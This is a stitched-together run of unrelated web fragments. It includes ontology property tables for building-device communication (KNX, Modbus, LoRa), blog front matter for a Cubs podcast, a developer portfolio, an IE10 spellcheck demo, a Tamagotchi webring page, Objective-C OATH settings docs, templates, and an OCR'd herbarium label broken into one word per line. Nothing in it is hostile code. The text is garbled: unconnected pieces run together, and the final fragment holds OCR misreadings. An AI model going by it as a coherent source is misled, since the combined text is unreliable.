| IRI | https://w3id.org/rec/device/hasActuationInterface |
|---|---|
| Domain(s) | Actuatorc |
| Range(s) | ActuationInterfacec |
| IRI | https://w3id.org/rec/device/hasCommunicationConfiguration |
|---|---|
| Description | Groups the subset of device configuration settings that are expressed using named individuals (for configuration attributes that are modelled with datatype properties, see datatype hasCommunicationAttribute). |
| IRI | https://w3id.org/rec/device/hasCommunicationsBus |
|---|---|
| Description | has communications bus |
| Domain(s) | core:Devicec |
| Range(s) | CommunicationsBusc |
| IRI | https://w3id.org/rec/device/hasDeviceFunctionType |
|---|---|
| Domain(s) | core:Devicec |
| Range(s) | DeviceFunctionTypec |
| IRI | https://w3id.org/rec/device/hasKNXConfiguration |
|---|---|
| Super-properties | hasCommunicationConfigurationop |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasKNXDataPointType |
|---|---|
| Super-properties | hasKNXConfigurationop |
| Domain(s) | core:Devicec |
| Range(s) | KNXDataPointTypec |
| IRI | https://w3id.org/rec/device/hasModbusConfiguration |
|---|---|
| Super-properties | hasCommunicationConfigurationop |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasModbusDataType |
|---|---|
| Super-properties | hasModbusConfigurationop |
| Domain(s) | core:Devicec |
| Range(s) | ModbusDataTypec |
| IRI | https://w3id.org/rec/device/hasModbusFunctionCode |
|---|---|
| Super-properties | hasModbusConfigurationop |
| Domain(s) | core:Devicec |
| Range(s) | ModbusFunctionCodec |
| IRI | https://w3id.org/rec/device/hasPlacementContext |
|---|---|
| Range(s) | PlacementContextc |
| IRI | https://w3id.org/rec/device/observationGeneratedBy |
|---|---|
| Super-properties | core:associatedWithDevice |
| Domain(s) | Observationc |
| Range(s) | Sensorc |
| IRI | https://w3id.org/rec/device/observedBy |
|---|---|
| Description | Generic property indicating which sensors that are configured or designed to observe some feature, system, phenomenon, etc. |
| Range(s) | Sensorc |
| IRI | https://w3id.org/rec/device/observes |
|---|---|
| Description | Indicates the (optional) entity-of-interest of some sensor, i.e., what it is configured to observe or look for. |
| Domain(s) | Sensorc |
| IRI | https://w3id.org/rec/device/actuationCommand |
|---|---|
| Description | The payload of a command sent by the building management system to the underlying actuator(s). |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/actuationRequest |
|---|---|
| Description | The payload of an incoming request to a building management system that it should perform an actuation; to be sent onward to a given Actuator. |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/actuationResponse |
|---|---|
| Description | The value returned from an Actuator to the calling party. |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/hasActuationCommandTime |
|---|---|
| Description | The time stamp for the event of the underlying system intiating the actuation command. |
| Super-properties | core:hasTime |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/hasActuationRequestTime |
|---|---|
| Description | The time stamp for when a request for an actuation arrived. |
| Super-properties | core:hasTime |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/hasActuationResponseTime |
|---|---|
| Description | The time stamp for a possible response from actuation process. |
| Super-properties | core:hasTime |
| Domain(s) | Actuationc |
| IRI | https://w3id.org/rec/device/hasCommunicationAttribute |
|---|---|
| Description | Groups the subset of device configuration attributes that are expressed using datatype properties (for configuration attributes that are modelled with named individuals, see object property hasCommunicationConfiguration). |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasIPAddress |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasIPAddressPort |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:integerc |
| IRI | https://w3id.org/rec/device/hasKNXAttribute |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasKNXDeviceId |
|---|---|
| Super-properties | hasKNXAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:stringc |
| IRI | https://w3id.org/rec/device/hasKNXDevicePort |
|---|---|
| Super-properties | hasKNXAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:integerc |
| IRI | https://w3id.org/rec/device/hasKNXGroupAddress |
|---|---|
| Super-properties | hasKNXAttributedp |
| IRI | https://w3id.org/rec/device/hasLocalEndpointId |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasLoraAttribute |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasLoraDevEUI |
|---|---|
| Super-properties | hasLoraAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:integerc |
| IRI | https://w3id.org/rec/device/hasModbusAttribute |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasModbusNodeId |
|---|---|
| Super-properties | hasModbusAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:integerc |
| IRI | https://w3id.org/rec/device/hasModbusRegister |
|---|---|
| Super-properties | hasModbusAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:integerc |
| IRI | https://w3id.org/rec/device/hasModbusRegisterLength |
|---|---|
| Super-properties | hasModbusAttributedp |
| Domain(s) | core:Devicec |
| IRI | https://w3id.org/rec/device/hasOffset |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:doublec |
| IRI | https://w3id.org/rec/device/hasProcessedTime |
|---|---|
| Description | Time when an object or result was processed in a system. |
| Super-properties | core:hasTime |
| Domain(s) | Observationc |
| Range(s) | xsd:dateTimec |
| IRI | https://w3id.org/rec/device/hasScaleFactor |
|---|---|
| Super-properties | hasCommunicationAttributedp |
| Domain(s) | core:Devicec |
| Range(s) | xsd:doublec |
https://w3id.org/rec/device/3.1.2/
https://w3id.org/rec/device/
http://creativecommons.org/ns#
https://w3id.org/rec/core/
http://www.ontologydesignpatterns.org/schemas/cpannotationschema.owl#
http://purl.org/dc/elements/1.1/
http://purl.org/dc/terms/
https://karlhammar.com/owl2oas/o2o.owl#
http://www.w3.org/2002/07/owl#
http://www.w3.org/1999/02/22-rdf-syntax-ns#
http://www.w3.org/2000/01/rdf-schema#
http://www.w3.org/2004/02/skos/core#
http://purl.org/vocab/vann/
http://www.w3.org/XML/1998/namespace
http://www.w3.org/2001/XMLSchema#
| c | Classes |
| op | Object Properties |
| fp | Functional Properties |
| dp | Data Properties |
| dp | Annotation Properties |
| p | Properties |
| ni | Named Individuals |


--- layout: post status: publish published: true title: 'Podcast #25 - 11/29/2009' author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 1609 wordpress_url: http://ivyenvy.com/?p=1609 date: '2009-12-05 07:16:17 +0000' date_gmt: '2009-12-05 13:16:17 +0000' categories: - Podcast tags: - Podcast - Wrigleybound comments: - id: 1092 author: Ivy Envy » The Hawk is in the Hall author_email: '' author_url: http://ivyenvy.com/?p=1707 date: '2010-01-17 15:51:59 +0000' date_gmt: '2010-01-17 21:51:59 +0000' content: "[...] the Hall of Fame. I have a weak opposition to the Hall of Fame, which I briefly explain in the 25th episode of the Ivy Envy Podcast. But I’m happy to see Dawson get in. In honor of his induction, I will hang a poster of [...]" ---
Andy and Corey get together with regular guest, Matt Veto from the Argus/Dispatch to show how little we pay attention to the Cubs for the first couple of months of the off-season.
Also, Matt from WrigleyBound gets us up to date with Cubs guys in the Arizona Fall League.


I'm a creative, artistic web developer with the drive of challenging myself. Always striving to reach a new "level" ultimately brought me to GA with the vision of becoming a full stack developer. I have a hunger and passion for learning and expanding my horizons.My goal is to take my creativity, strengths and new skills into the world of web development.I look forward to opening vast windows of opportunity in the upcoming future.
The classic tic-tac-toe game was the very first app I created as a developer. Users can register to use the app and their user and game data are saved to a Rails API. I learned so much throughout the process of building this first app and it was incredibly fun figuring out how to implement the game logic. My proudest moment during development was probably when I figured out how to render a full readout of a user's game history.
T3tictactoe
My project inventory was my first full stack application I used Ruby on Rails to create this application as a place for user to have a list of inventories and save there inventory, create,update,delete and share with other users with inventories.
project Inventories
Tetris has been recently redesigned from the ground up and turned into an original classic game concept.This has been an interesting journey and I plan to document the architecture in depth.
Tetris
This project was a team-based project. We were assigned both a team and a prompt, surveytracker and had to use mongoDB, Mongoose, for our backend.This application allows the admin to create survery and genarate a link for other users to takea survery and give feedback to the admin.
Survey Tracker


Spellchecking in IE10
IE10 now supports HTML5 spellchecking. As you type text into textarea and contenteditable regions, the browser automatically checks your spelling.
IE10 Spellchecking brings the "best in class" spelling engine and dictionaries used by Microsoft to the browser. IE10 is also the first browser to support auto-correction of text while you type! Try it out.
Try typing the following commonly misspelled words into the edit box below. When a misspelled word is identified, place the cursor in the word and press Shift+F10 to bring up the correction menu.
Preexisting text will not be spellchecked, however pasted text will be checked when it is inserted. Try copying and pasting the following text into the text area:
IE10 spelling corection is based on the latest Microsoft spellchecing engine and dictionarys. IE10's spell checker also includes auto-correction to help corrct mistacks while you type!
Autocorrection
Did you notice anything unusual about the above words with asterisks (*)?
IE10+ also supports autocorrection or "correction-while-you-type." Commonly misspelled words will be corrected immediately, making your review process faster.
The spellcheck
attribute
Spellchecking is active by default on <textarea>
and contenteditable
elements, and off by default for text boxes
Web developers can override the defaults using the spellcheck attribute.


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Hot Links and Webrings
If you are new to the Tamagotchi scene, I recommend that you go and have a good look around the Tamagotchi Fever! site. It contains all sorts of useful information, growth charts, etc. It also has some great bits and pieces for downloading to your PC, including a Tamagotchi RPG!
Also, do have a browse around these webrings, they contain some great sites, on Tamagotchi and other virtual pets.
|
This Tamagotchi Traders Ring is owned by Kate Brown. Want to join the Tamagotchi Traders Webring? |
|---|
| [Skip Prev] [Prev] [Next] [Skip Next] [Random] [Next 5] [List Sites] |
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This Tamagotchi Ring is owned by Ben Prusia. Want to join the Tamagotchi Ring? |
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| [Skip Prev] [Prev] [Next] [Skip Next] [Random] [Next 5] [List Sites] |


Running production tasks page:
This page summarizes the status of running productions such as MC, derivation, reprocessing and other. Only active tasks are taken into account and shown by default. If you wish to include ended tasks to selection, add one of supported time range options to URL:
&days=N
for last N days&hours=N
for last N hours&date_from=YYYY-MM-DD
and &date_to=YYYY-MM-DD
for custom time rangehashtags
, reqid
, campaign
etc) to decrease number of selected tasks and therefore the load on DB.
The plots on the top represents the current status of a running production in number of events and allocated slots.
Use the row of drop-down menus to more narrow selection of tasks by processing type, working group, campaign etc.
Click on icon next to Events title of number of events pie charts section to see extra charts.
Click on show historical trend to see a line plot showing how number of waiting and running events have been changing for last 7 days.
Columns in task list table can vary depending on the chosen preset. Values in bold are clickable filters for the page. icons are links to corresponding pages in ProdSys2 UI.


EMMutableSoftDcvOathSettings Protocol Reference
| Conforms to | EMSoftDcvOathSettings |
|---|---|
| Declared in | EMMutableSoftDcvOathSettings.h |
dcvLength
required method
The DCV length. Allowed range is 3-4 digits.
@property (assign, nonatomic) NSInteger dcvLength
Exceptions
NSInvalidArgumentException |
When dcvLength is not in allowed range. |
|---|
Declared In
EMMutableSoftDcvOathSettings.h
dcvHashAlgorithm
required method
The hash algorithm for DCV. See EMOathHashAlgorithm.
@property (assign, nonatomic) EMOathHashAlgorithm dcvHashAlgorithm
Exceptions
NSInvalidArgumentException |
When hash algorithm is not supported. |
|---|
Declared In
EMMutableSoftDcvOathSettings.h
dcvStartTime
required method
The T0 value for DCV. Value to start counting the time steps. Default: 0
@property (assign, nonatomic) int64_t dcvStartTime
Exceptions
NSInvalidArgumentException |
When dcvStartTime is negative. |
|---|
Declared In
EMMutableSoftDcvOathSettings.h
dcvTimestepSize
required method
The time step size for DCV. Default: 20
@property (assign, nonatomic, readonly) NSInteger dcvTimestepSize
Declared In
EMMutableSoftDcvOathSettings.h
dcvTimestepType
required method
The time step type for DCV. Default: Minutes.
@property (assign, nonatomic, readonly) EMOathTimestepType dcvTimestepType
Declared In
EMMutableSoftDcvOathSettings.h
– setDcvTimeSettingsWithTimestepSize:timestepType:
required method
Sets the DCV time settings.
- (void)setDcvTimeSettingsWithTimestepSize:(NSInteger)timestepSize timestepType:(EMOathTimestepType)timestepType
Parameters
timestepSize |
The time step size, it is ignored if |
|---|---|
timestepType |
The time step type, set to |
Exceptions
NSInvalidArgumentException |
If one of the following conditions is true:
|
|---|
Declared In
EMMutableSoftDcvOathSettings.h


{ "name": "index", "tableName": "table/tutorials", "component": "templatepage", "controller": "controllers/guide.js", "sections": [ { "name": "footer", "pageName": "page/footer" } ] }
Design with JSON
Design your web apps once with JSON and run them in any browser, on any device.
Develop single page progressive web apps with ease. Just check out the source of this page on the left.


{% extends "template.html" %} {% block content %}
I am starving!
Search
Filter by diet type
Choose...
Dairy-free
Egg-free
Gluten-free
Healthy
Heart-healthy
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Nut-free
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{% for recipe in pageRecipes %}
{{ recipe["recipeTitle"] }}
Serves: {{ recipe["recipeServes"] }}
Recipe likes: {{ recipe["like"]|default("0") }}
See recipe
{%endfor%}
{% endblock %}


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Botanical
Garden
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foe
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to
4
in.
tall;
fl.
yellow;
fr.
yellow
to
mustard
yellow
color;
If.
darker,
shiny
green
above;
"La
Caya"
local
name;
Repdblica
Dominicana:
Prov.La
Romana
Cumayasa,
at
km.
7
W
of
La
Romana,
on
highway
to
San
Pedro
de
Macoris;
roadside
fence
and
tree
row
on
coral
limestone,
adjacent
fields
cattle
pastures.
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alt.
50
m.
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30,
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01443550
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high